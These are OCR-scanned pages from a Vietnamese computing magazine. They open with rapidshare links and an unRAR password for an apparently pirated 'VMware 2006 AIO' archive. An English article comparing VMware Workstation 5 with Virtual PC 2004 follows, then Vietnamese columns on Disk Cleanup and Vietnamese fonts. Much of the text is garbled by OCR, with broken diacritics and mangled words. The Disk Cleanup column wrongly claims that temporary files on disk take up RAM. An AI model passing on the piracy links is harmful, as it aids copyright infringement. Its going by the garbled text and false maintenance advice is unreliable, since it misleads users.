  • VMware 2006 AIO http://rapidshare.de/files/9500039/VM2012.part01.rar http://rapidshare.de/files/9500644/VM2012.part02.rar http://rapidshare.de/files/9500950/VM2012.part03.rar http://rapidshare.de/files/9501133/VM2012.part04.rar http://rapidshare.de/files/9501397/VM2012.part05.rar http://rapidshare.de/files/9501698/VM2012.part06.rar http://rapidshare.de/files/9502028/VM2012.part07.rar http://rapidshare.de/files/9502249/VM2012.part08.rar http://rapidshare.de/files/950255 1/VM2012.part09.rar http://rapidshare.de/files/9502738/VM2012.part10.rar http://rapidshare.de/files/9503019/VM2012.part1 1 .rar http://rapidshare.de/files/9507171/VM2012.part12.rar http://rapidshare.de/files/9508426/VM2012.part13.rar http://rapidshare.de/files/9510561/VM2012.part14.rar http://rapidshare.de/files/95 12800/VM2012.part15.rar http://rapidshare.de/files/9513419/VM2012.part16.rar Password to unRAR: VM4Cavern5Pleasure
  • May Ao trong May Ao ? Đây là vấn đề ai muốn thí nghiệm chơi cho biết dau 1a Ao !!! Quy vi xài Windows XP và install VMware, trong VMware quy vi install Windows 2003 Server (Máy Áo). Trong Windows 2003 Server, quy vi install VMware, rói sau dó quy vi vào VMware bén trong Windows Server 2003 dé install thém Windows 98 (Máy Ảo 98 trong Máy Áo 2003 Server)... IBM hién gió dang thu (debugged) cái version Virtual Machine (VM) mói cüa IBM là xài cái VM mói dé chay version VM cũ. Giả sử xài được Máy Ảo trong Máy Ảo thì... Trong Máy Ảo thì có thê xài được bao nhiêu tầng Máy Ảo ??? Đây là bài so sánh gần đây về VMware 5 và Virtual PC 2004... Virtual PC 2004 vs. VMWare Workstation 5 July 11.2005 By Jeanne Paschang ( http://www.adminprep.com/articles/default.asp?action=show&articleid=81 ) 30 KY THUAT DIEa TOAA Introduction Test, test, test. How often do we hear this mantra? As system administrators and engineers, we probably hear it all the time. Below are just a few of the situations you most commonly encounter regarding testing.
  • Before you install this service pack, be sure to test it.
  • Before you restore your SQL server, test the process so you know what to eXPect.
  • Before you do an in-place upgrade of your Exchange server from Exchange 2000 to Exchange 2003, make sure you test it first. It is always good advice to test programs and procedures before implementing them. It is also a good practice to back up any systems undergoing a significant change. But what is the best way to do all that recommended testing? Obviously, the best way to perform testing is to install a test lab that is as close as possible to the real environment Why test and who has time? I worked as a full-time network administrator over the last fifteen years for several different companies. I was one of those paranoid system administrators as many of us are. Downtime to the company meant lost revenue. To me, downtime meant angry users, lost time and/or a lost job! As a result, service packs, new product installations and upgrades made me nervous. After all, these companies relied heavily on their information systems. A bad patch could mean disaster. Some people dream of new houses, cars or boats. I often dreamt of a test lab. To that end, I presented several business cases for building a test lab. The reaction was always the same: *you want us to dedicate equIPment to sit around and do nothing most of the time?" Even when I presented how many dollars could be lost in terms of productivity as the result of just a single bad software or procedure, they just did not seem to get it. One of the companies I worked for even wanted to get into the business of installing networks for small businesses, yet they resisted the idea of a test lab. Today, as a technology instructor and consultant, I usually ask my corporate students if they have a test lab environment. The response I often get is peals of laughter. Many of them respond as follows. “Of course we have a test lab. We call it our production environment!" If they do have a lab, it consists of whatever junk machines they could piece together. I would say only about one person in eight ever raises their hand and says they have a dedicated test lab. I can understand the resistance five or ten years ago when an extra PC was a big dollar item. Additional space is often the other consideration, particularly in areas where real estate is at a premium. Time constraints are the other problem. A test lab requires regular care and feeding in terms of loading and re-loading operating systems and applications. Even today, the test lab appears to be a poor relation to the rest of the IT world. Virtual Machines to the Rescue But no more! å ow we have some excellent products at our disposal to test whatever we need to with far more ease than in the past. Many administrators discovered the advantages of virtual machine products many years ago. Yet, I am surprised at how many administrators I encounter who are not aware of the capability of these tools. If you are one of the persons in that group, this article will open your eyes to some of the possibilities these products can bring to your networking environment. One of the most important things you can gain from these products is more stable and versatile information systems. First, let us investigate how these products work. Virtual machine products such as VMWare Workstation 5 and Microsoft Virtual PC 2004 base their success on a common concept. The concept is as follows.
  • Install an operating system such as Windows XP on a physical machine (the host machine).
  • Install the virtual machine application such as VMWare or Virtual PC. 31 KY THUAT BIÉÀ TOÁÀ
  • Create virtual machines (the guest operating systems) and install the operating system(s) of choice in each virtual machine.
  • You can run several virtual machines at once depending on the hardware. Why have these programs become so popular ? Let me count the ways. First, consider the space and hardware costs mentioned above. Why fill a room with several physical machines for testing purposes when a single machine can support four or five virtual machines running on top of the host machine operating system? All of this computing power can reside in a spare corner of a cubicle. The virtual machines are portable and are far easier to build and work with than a traditional test lab. Second, consider the application developers. I have worked with enough developers in my career to know that they usually “blow up” their workstation about once a week or so. That is just the nature of their work. They write code and in the process, the workstation is often a casualty. Before the virtual machine products, it used to be a pain getting them back up and running. You could get them a new image, but it still had to be loaded and it was difficult for them to get back where they left off before it blew up. This process amounted to lost time and effort on both sides. More Reasons Third, as a Microsoft Certified Trainer, I use the Microsoft Virtual PC 2004 for most of the classes I teach today. About a year and a half ago, Microsoft began using the Virtual PC product in many of its classes. This change makes it easier to setup a classroom. From an instructor viewpoint, it is easier to recover if a student makes a mistake during a lab. It is easier to provide the student with a new virtual machine instead of reloading an image. In addition, in a traditional class format, many of the labs required multIPle machines with one student per machine. This setup often meant students had to work in groups. One student would do the steps in one part of the lab while others watched or waited. With the virtual machines, each student can perform all the steps of the lab independently of others. Another advantage in the training arena is for situations where the setup requires a trIPle boot using Windows 98, Windows 2000 and Windows XP. Many of the A+ and a etwork- classes require this configuration. A trIPle boot is difficult to set up and keep stable during the duration of the class. Using virtual machines, the students can run all three operating systems seamlessly on a single workstation. Fourth, many companies are using the virtual machines for program compatibility issues. For example, a mission-critical application may only run on Windows 98. Often, this situation limits or stalls an upgrade to Windows XP. In fact, this was one of the key reasons Microsoft acquired the Connectix Virtual PC product back in 2003. (Microsoft revamped the product and reintroduced it as Virtual PC 2004). They knew many companies were not upgrading to Windows XP due to compatibility issues with legacy programs. One company I consult for actually had two workstations at each person’s desk with switchboxes so they could continue to use the old application on Windows98 and still take advantage of other programs that required XP. With a virtual machine product, they were able to remove the Windows 98 machine and the hassle of the switchbox. This change also made the users happy to get more space under their desks. Fifth, assume you are a network administrator supporting one of these applications that runs fine on Windows 2000, but you are not sure how it behaves with Windows XP. You contact the vendor to find out about compatibility. The vendor’s response goes something like this. “Well, we haven’t run it on XP, but it should work. Oh, and by the way, when you test it, could you let us know how it goes and if you find any problems?” The virtual machine allows you to test interaction between server and workstation client so you find problems before they happen. Hmm. Maybe the vendor could benefit from this technology as well! Conclusion 32 KY THUAT DIEa TOAA Finally, companies are deploying virtual machines for server consolidation. For example, many companies have four or five servers, each performing a specialized task. One server may do backups, another one monitoring and yet another one is file and print. By using one of the virtual server products such as Microsoft Virtual Server 2005 or the VMWare GSX and ESX Server, many of these roles can consolidate as virtual servers on a single piece of hardware. This use is beyond the scope of this article. Our concentration here will be on comparing the virtual pc product offerings, specifically Microsoft Virtual PC 2004 and the recently released VMWare Workstation 5. Let's get to it. Here are features about the two products. On the surface, it looks as if VMWare Workstation 5 is the clear winner. However, stay tuned for the next segment in this two-part article: VMWare 2005 vs. Virtual PC 2004 — A Fight to the Finish! In the next article, we will eXPlore how well each of these products goes head-to-head in delivering performance, features and functionality for their assigned tasks. In addition, we will discuss some optimization techniques to help you get the best performance out of each product. The Great Race: VMWare Workstation 5 vs. Virtual PC 2004 a ow, the match race you have all been waiting for! Here is part II of the Virtual Machine product match-up. As mentioned in Part I of this article, both products are enjoying immense popularity. Which one is right for you? You make the decision! Step 1 — Product Procurement Before you can have a race, you have to procure the horses to run the race. In this case, the vendors make it easy on us to purchase their product. You can purchase VMWare directly from the website at www.vmware.com in electronic format, provided you have a valid email address and credit card. (There’s always a catch, isn’t there?).Once you provide the information, the company will email you your registration code. From there, you download the binaries for the product and perform the installation. At one point during the installation, the program will prompt you for the registration code. A simple cut and paste from the email you received is all you need to get started from here. You can obtain Virtual PC from a variety of web resellers for a variety of prices. Each vendor will differ in delivery methods. For this test case, Virtual PC installed directly from the product CD. VMWare installed from the process mentioned above. Step 2 — Assessing the Capabilities Before horses can particIPate in a race, they receive a handicap. The handicap helps keep the race on an even keel. In this case, the handicap is assessing which guest operating systems are supported. Part One of this article mentions the operating system choices are, but here is a more detailed look at the screen shots of supported operating systems for each product. VMWare Virtual PC Step 3 - Product Installation To keep the race even, both products install on the following hardware running Windows XP SP2. The documentation for both products refers to this base machine as the "Host PC". Host PC EquIPment
  • Compaq Evo Model 510
  • Single 1.8 gig Hz processor
  • 2 gig RAM
  • 40 gig 5400 rpm speed internal IDE hard drives
  • Both drives are defragged before beginning tests 33 KY THUAT DIEa TOAA The Virtual Machine software used 1s as follows. Each product runs on its own Host PC.
  • VMWorkstation 5, build 13124
  • Virtual PC 2004 with Service Pack 1 Virtual PC 2004 installed quickly and without incident via a wizard. There are not too many options during the installation other than location of program files. The program defaults to C:\Program Files\Microsoft Virtual PC, but you can change the installation path if desired. After the installation, be sure to install Service Pack 1 for the product to take advantage of performance enhancements and additional fixes. Service pack 1 is available for download from Microsoft’s web site. VMWare Workstation 5 also installed quickly and without incident via a wizard. This installation program had a few more bells and whistles to the initial installation. For example, at the beginning of the process, it prompts the user if they want to install shortcuts on the desktop and quick launch bar. This feature represents basic functionality and is user friendly. Virtual PC requires the user to take the additional steps to make this happen. This is not necessarily a bad thing, as most technical users do not like to clutter the desktop or launch pad with additional shortcuts. It is all a matter of preference. VMWare presents a program tIP once the application launches. Again, this is a nice feature for users new to the Virtual Machine world. Step 4 — Saddle up for the race There is always preparation work to do before a horse race. The horses need saddles and equIPment, the jockeys weigh in and other little details have to happen. Likewise, the virtual machine environments require similar preparation. Here are some of the planning details to consider before installing the operating systems. First, like any standard installation, you need to determine how much drive space you want to allow for the virtual machines. Both products refer to these machines as “Guest PCs”. In this case, the installation is a default installation of Windows XP with few applications, so excessive drive space is not necessary. For the test environment, the following table illustrates the Guest PC environment for the installation. Again, both platforms install with identical specifications and setups as outlined below.
  • Windows XP SP1 operating system installed from CD
  • Drive space allocation 6 GB
  • RAM allocation 512 MB The RAM allocation is a very important point to consider before the installation. Because Windows XP is a Microsoft product which requires activation, changes to the virtual machine environment after the Guest PC after installation can trigger reactivation. VMWare displays a couple of warnings to this effect during the Guest OS installation, but Virtual PC does not at this point. See the VMWare warning below. Each product takes a slightly different approach to creating new virtual disks. The following excerpt is a quote from the Virtual PC 2004 help files defining the virtual disk concept. "Virtual hard disks and virtual floppy disks provide functionality that is similar to their physical disk equivalents. Virtual disks support both writing data and reading data. A virtual disk is stored on the physical computer as a single file. Virtual hard disks and virtual floppy disks are created using the Virtual Disk Wizard. A virtual hard disk is a single file on the physical computer that stores all the data used by the operating system installed on the virtual machine. Virtual hard disks have a.vhd extension. From within the virtual machine, the virtual hard disk appears to be the same as a physical hard disk. The virtual machine uses the virtual hard disk the same way that a physical computer uses a physical hard disk. There are several different types of virtual hard disks available". 34 KỸ THUẬT ĐIỆẩ TOÁÀ The idea is to define the parameters for this file before installing the Guest OS. In Virtual PC, by default, you will get a 16 GB virtual hard disk. To specify an 8 GB virtual disk as desired for this test, you must create the disk in the Virtual Disk Wizard. The options for the Virtual PC disk are as shown in the diagram below. Each option is well eXPlained on this screen. For VMWare, the virtual disk creation happens differently. When the user selects to install a Guest operating system, the system prompts for the virtual disk size and options. See the diagram below. The Race is On In the first meeting, a default installation of Windows XP SPI is the test track each product will try to conquer. Side by side, the two machines raced to see which contender could install this popular operating system first. As you can see from the chart below, both champions bolt from the gate with a strong start. å eck in neck toward the first turn, they complete the quick 4 TFS format at the same time. However, racing toward the second turn, VMWare pulls a slight lead, finishing the file copy after format a full two minutes ahead of Virtual PC. By the time they round the third turn, VMWare starts to assert its lead. Heading into the home stretch toward the finish line, VMWare pulls ahead with a comfortable lead, finishing the XP installation in 18 minutes as opposed to 41 minutes for Virtual PC. Step 6 - Who gets the roses? However, what is speed you say? Most of us are in the habit of multi-tasking, especially when performing installs. The bottom line is they both get the job done, but if you are a Type A personality, VMWare might be your preference. Once the guest operating systems installs, what else needs 1s there to do? There 1s additional work on both platforms. For example, once the operating system installs and starts, both products prompt you for additional steps to perform. The steps below help the operating systems attain maximum performance and user eXPerience. VMWare offers VMWare Tools. This is an additional installation to the guest operating system. The tools enhance the screen resolution, mouse integration and provide other rich features. Most importantly, the installation of the tools allows free movement of the mouse cursor between the Host PC and the Guest OS. Without the tools, the user must select CTRL-ALT to "release" the mouse from the Guest OS. The tools are available from the main VMWare menu. For this process, you must log into the Guest PC as an administrative account. These tools are available from the VMWare menu. Virtual PC offers VPC additions. The VPC additons perform much of the functionality of the equivalent VMWare Tools. These additions are available from the Virtual PC menu. Step 7 — Head to the Forums! So who is the winner in this round? You be the judge. As one reader in the forums already noted, price is a big factor in many of these decisions. Both a Lexus and Toyota will get you from point A to point B, but you pay for the extra features and the name on the Lexus. In my opinion, both of these products perform well, but it does depend on what your environment requires and of course, the budget. Both products are good quality and perform as eXPected (no Ford escorts in this bunch!). DANH TU PHÓ THÓNG VÀ CÁC CĂN BỆNH ĐIỆN TOÁN THÔNG THƯỜNG Phạm Huy Hiện nay trước sự cải thiện không ngừng trong lãnh vực kỹ thuật, máy móc điện toán đã đáp ứng nhu cầu sinh hoạt trong đời sống hăng ngày. Song song đó nhu cầu bảo trì máy móc cũng là điều cần thiết cho tất cả những người sử dụng máy điện toán. Máy càng ngày càng chạy chậm: Có rất nhiều nguyên nhân đưa đến máy càng ngày chạy càng chậm nếu so với thời gian sử dụng ban đầu. Một trong những lý do sau đây: 35 KỸ THUẬT ĐIỆẩ TOÁä Theo thời gian sử dụng máy điện toán như cài đặt một nhu liệu vào trong máy, sử dụng internet mỗi ngày v.v.. tất cả các công việc trên sau khi làm việc xong. đều lưu trữ lại những hồ sơ không cần thiết ở trong máy điện toán. Và sự tích trữ những hồ sơ không cần thiết này liên quan trực tiếp tới bộ nhớ memory. Bộ nhớ memory phải trích giải một phân dé lưu trữ những hồ sơ không cần thiết này đưa đến hiện tượng máy bị chạy chậm. â ên dé tránh máy điện bi rơi vào tinh trạng chạy chậm tốt nhất nên tập thói quen bảo trì điện toán mỗi tuần nhu Disk Defragment, Scan Disk và Disk Clean Up. Disk Defragmneter và Scan Disk không ảnh hưởng trực tiếp tới sự vận hành máy computer bằng Disk Cleanup. Theo những bước hướng dẫn dưới đây để biết vị trí của Disk CleanUp trong Windows. Star -> Program -> Accessories -> System Tools -> Disk Cleanup. Hinh icon cüa Disk Cleanup là cái chói - hinh máy dién toán. Disk Cleanup: Dây là mót trong nhüng icon quy vi phái sir dung hàu nhu mói tuàn vi Disk Cleanup tool sé tay máy của quý vi trong những phần sau:
  • Tây những hồ sơ trong Recycle bin.
  • Tây những cookie trong temporary internet file.
  • Tây những hồ sơ trong temporary file.
  • Tây những hồ sơ không cần thiết trong hard drive.
  • Tẩy những hồ sơ cũ hoặc duplicate (giống nhau) v.v... Windows XP và Windows 2000 cho phép quý vị có nhiều chọn lựa, còn Window 98 chí han hep trong recylce bin và internet file. Thông thường sau khi nâng cấp (upgrade), cài đặt nhu liệu (software installation), down load từ trong internet hay bất cứ một hình thức download nào đều lưu trữ một vài files trong temporary folder, theo thời gian trong temporary folder sẽ tích lũy dần càng ngày só mega bytes càng nhiéu cho dén mót lüc nào dó hé thóng computer cho chung ta biét memory bị xuống thấp và không chạy được nữa hoặc chạy rất chậm. Đây là một trong những lý do chính ảnh hưởng tới hiệu năng làm việc của máy. Quý vị phải dùng disk cleanup tool hằng tuần để duy trì máy chạy tốc độ như ban đầu. Đề dễ hiểu và thực tế hơn, hãy tham khảo disk cleanup qua phần hỏi và đáp. Hói: Tai sao disk defragmenter chi là phán phu ít trực tiếp tới máy computer hơn là disk cleanup và ngoài disk cleanup tool ra con có cách nào khác làm cho system chay nhanh hon khóng ? Đáp: à hu dà dé cáp trong bài tham kháo vira qua disk defragmenter truc tiếp sắp xếp hồ sơ, nhu liệu, Windows v.v...trong ó chứa (hard drive) cho thứ tự, gọn gàng và giảm thì giờ tìm kiếm cũng giống như ví dụ cho quần áo nếu không sắp xếp cho ngăn nắp và thứ tự thì thời gian tìm kiếm sẽ lâu hơn. Tuy váy hard drive defragmenter chi ánh huóng phán nào trong tién trình làm việc của máy, còn disk cleanup là phần chính vừa tây trực tiếp trong hard drive những nhu liệu được lập lại (duplicated) những nhu liệu không sử dụng thừa thãi v.v...và những nhu liệu không cần thiết chứa trong memory. â hững files đữ kiện chứa trong temporary folder đều chiếm một phần trong memory, dĩ nhiên những file trong temporary folder đều không có giá trị gì cả nên khi vận hành máy computer, memory phải trích ra một số Mega byte tương xứng để lưu trữ các data trong temporary files, chính vì lý do này đưa đến tình trạng Windows càng ngày chạy càng chậm. Do đó việc dùng Disk Cleanup là điều cần thiết trong chương trình duy trì cho máy điện toán luôn luôn làm việc trong điều kiện tuyệt hảo. Quý vị có thể thực hành ngay bước Disk Cleanup này thì sẽ thấy phản ứng của máy điện toán nhanh hơn trước rất nhiều. Một trong những điều mà quý vị tin tưởng và thuộc năm lòng đó là Disk Cleanup không bao giờ xóa bỏ bất cứ một nhu liệu và hồ sơ nào trong máy cua quy vi. 36 KỸ THUẬT ĐIỆẩ TOÁä Hoi: Xin giái thích ró hon mót chüt vé temporary file trong các Window 98, 2000 và XP, ngodi cách düng Disk Cleanup tool cón cách ndo dé cleanup máy khóng ? Đáp: Một câu hỏi thật là căn bản và thú vị. Thật sự ra khi đề cập đến Disk Cleanup có nghĩa là chú tâm tới hai hồ sơ quan trọng trong máy điện toán đó là temporary file and temporary internet file. Khi sử dụng xong disk cleanup mà máy chạy vẫn không thấy nhanh cho lắm, quý vị đừng có quyết định phải thêm memory vội cho máy chạy nhanh hơn vì phải vào tận temporary và internet folder xem trong hai folder này đã tây hết những dữ kiện (data) không cần thiết di chưa. á hiều khi trong temporary folder có một vài hồ sơ không cho phép xóa đi (deleted) nên những hồ sơ kế tiếp cũng bị ứ đọng theo và từ đó temporary folder không bao giờ tay hết data được nêu còn ding Disk Cleanup tool. Trong trường hợp này phải vào temporary folder tây từng dữ kiện một. Từ kỹ thuật hay dùng gọi phương pháp này là manual method. Hay giải thích cách khác là tất cả những gì không dùng tự động (automatic) thì phải dùng tay chán dé giải quyết (manual). | Quý vị độc giả còn sử dụng Win98 xin chú ý và hiểu cặn kẽ phương pháp manual để tây các dữ kiện trong temporary folder, đây là một trong những trường hợp thông thường trong Win98 và Win ME, làm cho máy chạy trong một thời gian ngắn và chậm dần và chậm dần đưa đến tình trạng mỗi lần bật máy computer lên phải mất một thời gian khá lâu Win98 mới hiện lên màn hình. Windows 2000 hoàn hảo hơn và rất ít trường hợp data bị lưu trữ trong temporary file. Window XP cũng lưu trữ dữ kiện trong temporary file không kém gi Win98 và ME. áén Win 98, ME và XP phải được chú trọng và cleanup máy mói tuần. Mong quý vị độc giả đón đọc vào tuần tới cũng trong đề tài danh từ phổ thông và các căn binh điện toán thông thường. Bắt cứ một máy điện toán của người Việt, ngoài những kiến thức sử dụng các nhu liệu căn bản như Word, Excel, Power Point, Outlook ra thì phần tìm hiểu và sử dụng tiếng Việt cũng cần phải biết. Sau đây là những căn bịnh phó bién trong Windows: Tiéng Viét xuát hién khóng düng khi doc các trang Web dién tir Viêt 4 am: Khi tiéng Viét xuát hién khóng düng trén trang web Viét à am nhu nhüng gióng chü kỳ lạ, những ô vuông xen kẽ, dấu hỏi ngã không đúng theo qui luật v.v...các hiện tượng tiếng Việt xuất hiện không đúng trên các trang Web này đưa đến sự phân tích kỹ thuật cả hai bên đó là máy điện toán và kỹ thuật thiết kế mẫu tự Việt â am trên trang Web từ nhà thiết kế Web designer. Chuong trinh tiếng Việt VPS
  • âêu máy điện toán còn sử dung Window 98, ME và 2000 thi điều kiện đầu tiên muốn đọc được các trang web Việt ngữ phải cài đặt đầy đủ các mẫu tự Việt ngữ vào trong Windows. Danh từ chuyên môn gọi các mẫu tự Việt á am này là Vietnamese Font và ký hiệu mà (code) cho các Font này là.ttf (true type font). Mỗi mẫu tự Việt â am đều có ký hiệu mã khác nhau nên một trong những điều kiện để đọc được các trang web Việt â á am thi trong máy phải có đầy đủ các mẫu tự Việt â am đó. Có rất nhiều ký hiệu mã mẫu tự khác nhau như một vải mẫu tự mã khá phố biến nhu va I, VPS, Va, va Unicode. Cac Windows 98, ME, va 2000 muốn đọc được các trang web tiếng Việt phải đem tất cả các mẫu tự phô bién Va I, VPS, Va, và Unicode vào trong Windows. Sau dó Windows sé dua vào các máu tu này và tiéng Viét sé xuát hién lén trang Web.
  • à hüng trang Web cü khi thiết kế dùng mẫu tự mã riêng biệt nên người đọc cũng phải trang bị mã tự đó thì tiếng Việt mới xuất hiện đúng được. Ví dụ như nhà thiết kế trang web Việt ngữ sử dụng mẫu tự mã Vá I, thi trong máy người đọc cũng phải có VẢ I thì mới đọc được trang web này. Đại đa số các chuyên viên Web Designer cũng thiết kế thêm phần Font download để ngăn ngừa trường hợp tiếng Việt xuất hiện không đúng trên web chỉ cần nhắn vào nút font download và chuyên các mẫu tự VÃ này vào trong Windows, reboot máy điện toán và vào trang web đó sẽ đọc được nội dung. 37 KY THUAT DIEa TOAA Hoi: Nhu dà giái thích Windows 98, Me va 2000 cân cài đặt các loại mẫu tự tiếng Việt vào trong Windows, vậy tiễn trình đưa mẫu tự tiếng Việt đó như thế nào ? Đáp: Theo những bước hướng dẫn sau để biết tất cả các loại mẫu tự được lưu trữ ở đâu trong nhu liệu vận hành Windows: Start -> setting -> control panel -> font (icon). Khi nhấn con chuột hai lần trén Font Icon sé xuát hiện một folder trong đó chứa tất cả các loại mẫu tự bao gồm luôn cả mẫu tự thường và, mẫu tự Việt ä am. Các application software nhu Word, Power Point, Photoshop v.v...đêu nối kết với Font folder này để sử dụng. á éu font folder có các loai màu tu tiéng Viét khác nhau thi ngoài cóng viéc doc duoc tát cá các trang web Việt ngữ còn cho phép đánh máy tiếng Việt trong các mã mẫu tự khác nhau trong application software nhu Photoshop hoác Power Point cháng han. Phuong pháp nhanh và don giàn nhát dé dua máu ty vào trong Fonder font là mó Font Folder lén, và folder có chứa mẫu tự vừa mới download và chỉ dùng con chuột kéo mẫu tự đó vào Font Folder của Control Panel là đủ. Sau đó Restart máy điện toán là có thê sử dụng font tiếng Việt đó trong Windows. Hỏi: Window 98, Me và 2000 trong điều kiện phải cải đặt các mẫu tự mới đọc được trang web Việt Nam nhưng Windows XP cũng bị trở ngại không đọc được các trang web Việt Nam ? Dap: Đúng như vậy tất cả những máy móc sử dụng Windows XP, một trong lợi điểm của Windows này liên quan trực tiếp tới các trang web tiếng Việt sử dụng mẫu tự mã Unicode. Vi Widnows XP đã trang bị mã unicode cho tiếng Việt nên sẽ không trở ngại khi đọc các trang web sử dụng mẫu tự unicode này. Riêng các trang web cũ vẫn còn sử dụng các mẫu tự Việt ä am riêng biệt (ngoài unicode) đều bị trở ngại về sự xuất hiện ngôn từ không đúng cách nên cũng phải tìm cách đưa các loại mẫu tự riêng biỆt vào trong Font Folder của Windows XP. á hư đã giải thích ở phần trên một vài loại mâu tự mã Việt ngữ thông dụng như va I, VPS va VẢ nên đưa vào trong Font folder trong tất cả các Windows điều hành từ 98 cho đến XP dé tránh trường hợp các web Việt â am không đọc được tiếng Việt. Trong khi đó để đáp ứng nhu cầu người đọc tất cả các web Việt â am hiện nay đều dùng mẫu tự mã Uầ ICODE theo tiêu chuẩn Windows nên sẽ không trở ngại trong vẫn đề ngôn ngữ Việt â am xuất hiện trên trang web. Tóm lại khi các trang web Việt ngữ hiện nay điều sử dụng hệ thống unicode từ trong nước cũng như hải ngoại, nên vấn đề ngôn ngữ xuất hiện trên trang web đều không trở ngại. Tuy nhiên Windows 98, Me hoặc 2000 đều phải cài đặt mẫu tự unicode vào trong Font folder mới đọc được vì các loại Windows này chưa có trang bị mẫu tự mã unicode. Thông thường vào các trang web dưới đây dé download các mẫu tự tổng hợp và chuyển vào trong font folder: Tiép theo bai viét vừa qua trình bày các trở ngại khi đọc tiếng Việt trên trang web Việt â am liên quan trực tiếp tới các mẫu tự thiếu sót trong nhu liệu điều hành Windows, bài viét này cüng xoay quanh các ván đề tiếng Việt và tìm hiểu về sự tương quan giữa đọc, viết và giao lưu bằng tiếng Việt qua email như thế nào ? Tiếng Việt đọc và viết: Theo một thói quen khi cài đặt một nhu liệu đánh máy Việt ngữ vào máy điện toán bao gồm luôn hai phàn: á hu liệu cho phép sử dụng bàn phím (keyboard) đánh máy và tự động cai mau tu Viét 4 am trong Font folder cua Control Panel. Trén thực tế doc va viết tiếng Việt, cả hai phần hoạt động hoàn toàn độc lập và hỗ tương với nhau. Ví dụ néu máy dién toán dó chí có nhu càu doc các trang web Việt à am, chi cân trong Font folder trang bi dày dü các logi mã mẫu tự (font code) là đủ, các mẫu tự trên trang web Việt ẩ am sẽ hiện lên đúng bảng mã tiếng Việt không cần thêm nhu liệu cho phép đánh máy trên phím gõ. Ví dụ trên để chứng 38 KỸ THUẬT ĐIỆẩ TOÁä minh tính cách làm việc hoàn toàn độc lập và hỗ tương cho nhau giữa đọc và viết. Quay lai kỹ thuật viết hay đánh máy đều phải có nhu liệu đặc biệt dành để chuyển các ký hiệu dấu sắc, huyền, hỏi, ngã và dấu nặng vào đúng vị trí của các từ ngữ Việt â am. Các dấu bên Âu Châu hoặc Châu Mỹ Latin cũng đã sử dụng dau hai cham, ngã và dấu huyền, và các chuyên gia Việt a am cũng dựa trên kỹ thuật này phát triển thêm và sử dụng cho kỹ thuật đánh máy Việt â á am trén bó gó. Muón dánh máy duoc tiéng Viét phài càn nhu liệu cho phép chuyền sang mã Và hói ngà v.v...danh tir chuyén món hay goi là Viét Key. Có rát nhiéu nhu liéu luu hành mién phi nhu VPS Key, Viet Key, Va I key v.v...sau khi cài đặt vào trong máy xong, muốn sử dụng chỉ bật nhu liệu đó lên, sau khi sử dung xong tiếng Việt xong chỉ nhấn exit hoặc ngưng là đủ. Tóm lại đọc và viết đều làm việc độc lập và có sự tương quan hỗ trợ lẫn nhau. Muốn đánh máy bằng tiếng Việt thì ngoài nhu liệu đánh máy cũng phải có mẫu tự tiếng Việt thì khi đánh máy trong Microsoft Word hay bất cứ một lập trình nào tiếng Việt mới hiện lên trên màn hình. Và cũng như khi đọc các trang Việt â am trên internet máy điện toán phải trang bị đầy đủ các mã tự để tránh trường hợp không đọc được tiếng Việt y trên màn hình Đánh máy tiếng Việt trong Word và Email: â goài đọc tiếng Việt thì đánh máy cũng là một phần sinh hoạt điện toán hằng ngày và các nhu liệu đánh máy hiện nay vận hành rất tốt trong hệ điều hành Window 2000 và XP. Một trong những điểm đặc biệt hệ thống đánh máy tiếng Việt có thể dùng trong bất cứ một lập trình nào trên Windows như đánh máy tiếng Việt trong: Word, Excel, Powerpoint, Autocad, Photoshop, Video Editing, Outlook, Outlook EXPress, Yahoo, aol v.v...trong Windows diéu hành có trang bi bó gó chit Viét á am thi co thé str dung danh máy tiếng Việt trong bất cứ truóng hop nào. Hói: Giái thích thém vé các hién tượng người nhận không đọc được tiếng Việt khi người gui dung Yahoo hodc Outlook ?. Đáp: Trước khi đi sâu vào câu giải đáp sử dụng đánh máy tiếng Việt trong email phải quay lại nhu liệu điều hành Windows. Các loại Windows 95, 98 và Me có rất nhiều trở ngại trong vấn đề ngôn ngữ tiếng Việt và đòi hỏi người sử dụng điện toán phải biết hoán chuyển (convert) khi không đọc được bài viết tiếng Việt mặc dầu trong font folder của control panel đã trang bị mẫu tự đó. a én trong phần giải thích dưới đây đều dựa trên vận hành của Windows 2000 và XP. Trên nguyên tắc sử dụng tiếng Việt trong email dé gui di déu phái dáp ứng điều kiện cả hai chiều từ người nhận và người gửi. â gười gửi sử dụng mẫu tự tiếng Việt gửi đi như thế nào thì người nhận trong máy điện toán cũng phải có mâu tự tiếng Việt giống như người gửi, néu người gửi dùng mẫu tự tiếng Việt này mà người nhận không có tiếng Việt đó đưa đến tình trạng sẽ không đọc được nội dung từ người gửi. Và để giải quyết vấn đề giao lưu tiếng Việt qua email, mẫu tự unicode đã trở thành căn bản và unicode font Arial hoác Time new roman được sử dụng để đánh máy tiếng Việt. â ếu dùng Windows XP hệ thống unicode đã được trang bị sẵn trong Windows nên khi nhận email đánh máy bằng bản mã unicode không bị trở ngại. Thỉnh thoảng Windows 2000 nếu bị trở ngại không đọc được mẫu tu unicode, rất đơn giản chỉ cần thêm một vài unicode font vào trong font folder của control panel là đủ có thể đọc được các loại email viết bằng bảng mã unicode. Qua phần trình bày ở trên quý vị độc giá điện toán đã hiểu rõ sự hoạt động độc lập và có tính cách bổ xung cho nhau giữa đọc và viết trong email. â gười gửi email nên sử dụng mã tự unicode khi đánh máy tránh người nhận không đọc được email vì những mẫu tự tiếng Việt lạ và không thông dụng. Trong trường hợp người gửi muốn sử dụng mâu tự đó phải email riêng cho người nhận biết mẫu tự tiếng Việt đó thuộc bang ma tu gi va I, VPS, Va, Unicode v.v...tránh trường hợp đọc không được khi giao lưu tiếng Việt qua hệ thống email. Các nhu liệu căn bản trong Window và những khái niệm tổng quát Phần 1: â hư quý vị độc giả cũng biết một trong những nhu liệu quan trọng nhất trong một máy điện toán đó là nhu liệu điều hành (thỉnh thoảng còn được gọi là nhu liệu chủ) Windows, hiện 39 KỸ THUẬT ĐIỆẩ TOÁä nay nhu liệu điều hành Windows XP đã trở thành căn bản cho tất cả những máy điện toán mới. Sau nhu liệu điều hành kế đến là những loại nhu liệu làm việc trong Windows danh từ chuyên món goi là application software. 4 hüng nhu liéu làm viéc (application software) hoạt động hoàn toàn độc lập và trong một nhu liệu điều hành. Rõ ràng hơn một chút các nhu liệu application đều cài vào trong máy sau khi đã cài xong nhu liệu điều hành Windows hoặc bất cứ một nhu liệu điều hành nào khác như Macintosh, Lynix, SunMicro v.v...Một trong những loại nhu liệu làm việc không thê thiếu trong PC như:
  • Microsoft office
  • Adobe reader
